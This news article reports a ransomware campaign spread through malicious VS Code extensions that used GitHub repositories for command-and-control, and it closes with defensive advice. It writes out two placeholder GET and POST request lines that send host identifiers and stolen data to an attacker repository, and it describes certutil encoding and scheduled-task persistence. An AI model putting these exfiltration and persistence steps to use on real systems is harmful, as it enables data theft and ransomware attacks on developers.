Categories: Cyber Security News

VS Code Extensions Hijacked to Spread Ransomware, Use GitHub for Command-and-Control

A recent investigation uncovered a campaign that abuses malicious Visual Studio Code (VS Code) extensions to spread ransomware, leveraging GitHub repositories as part of its command‑and‑control (C2) infrastructure.

The attack demonstrates an evolution in adversarial tradecraft, blending supply-chain compromise with novel data-exfiltration and persistence methods.

Malicious VS Code Extensions and Initial Delivery

Researchers identified multiple VS Code extensions uploaded to the Visual Studio Marketplace that contained hidden payloads disguised as legitimate developer utilities these packages, once installed, executed obfuscated JavaScript that launched PowerShell commands.

The malicious scripts retrieved secondary payloads from GitHub repositories under seemingly benign accounts and repositories named after standard development terms.

Intrusion stages identified during analysis

The extensions mimicked titles such as “Theme Loader” or “Syntax Pro” and contained manifest files referencing external JavaScript hosted on GitHub.

Once triggered, the JavaScript initiated a GET request to adversary‑controlled repositories, transmitting system identifiers such as computer names and user directory paths. The command followed a structure similar to:

text

GET https://github.com/<repo>/payloads/loader.php?uid=<computername>&key=dev

The returned data was dynamically evaluated via Node.js APIs embedded in the VS Code environment, allowing the payload to run with the same execution privileges as the host process.

Multi‑Stage Payload Execution and Data Exfiltration

The retrieved payload performed reconnaissance by listing system information, active processes, and files in project directories.

Collected data was temporarily stored in cabinet (.cab) files and base64‑encoded using Windows certutil before being uploaded back to the same GitHub repository via POST requests.

text

POST https://github.com/<repo>/upload.php?uid=<computername>

This stealthy use of GitHub for both download and exfiltration bypassed most perimeter filters and encrypted traffic inspection tools.

Analysts observed that subsequent payloads decrypted a third‑stage binary that functioned as a ransomware loader, encrypting developer workspaces and demanding payment in cryptocurrency through a TOR portal.

Functionality of the initial script

Persistence was achieved by modifying registry keys and creating Windows scheduled tasks under inconspicuous names such as “Visual Studio Telemetry Service,” configured to execute malicious scripts every minute.

Organizations are urged to restrict the installation of unverified extensions within development environments.

Security teams should monitor outbound traffic for anomalous GitHub connections, enforce code-signing validation for developer tools, and deploy endpoint detection tools that can identify suspicious script execution in VS Code.

User education remains essential; developers should validate extension publishers and repositories, review code manifests before installation, and maintain isolated workspaces when testing community‑contributed packages.

Find this Story Interesting! Follow us on Google News , LinkedIn and X to Get More Instant Updates

The post VS Code Extensions Hijacked to Spread Ransomware, Use GitHub for Command-and-Control appeared first on Cyber Security News.

rssfeeds-admin

Recent Posts

Destiny 2 Changes Reportedly Kept from Most Bungie Staff Ahead of Public Announcement

The "vast majority" of Bungie staff was reportedly unaware of the plans to discontinue support…

2 hours ago

The New 2026 Apple iPad Air with M4 Chip Drops to a New All-Time Low Price for Memorial Day

Earlier this year, Apple released its 8th generation iPad Air tablet at a starting price…

2 hours ago

McKeown Foundation to Host 35th Anniversary Gala on May 27 to Support Families Affected by Alzheimer’s Disease

According to the Alzheimer’s Association, nearly 7.4 million Americans suffer from the disease, with the…

2 hours ago

InvisibleFerret Malware Now Ships as .pyd and .so Files to Evade Script Detection

A North Korea-linked hacker group has quietly upgraded one of its most dangerous tools, making…

2 hours ago

Cloud Atlas APT Group Modifies termsrv.dll to Enable Multiple RDP Sessions on Victim Hosts

A well-known advanced persistent threat group called Cloud Atlas has been caught using a dangerous…

2 hours ago

Tekken Director Katsuhiro Harada Finally Takes a Trip to Waffle House

Tekken director Katsuhiro Harada finally found the time to take a trip to Waffle House.…

5 hours ago

This website uses cookies.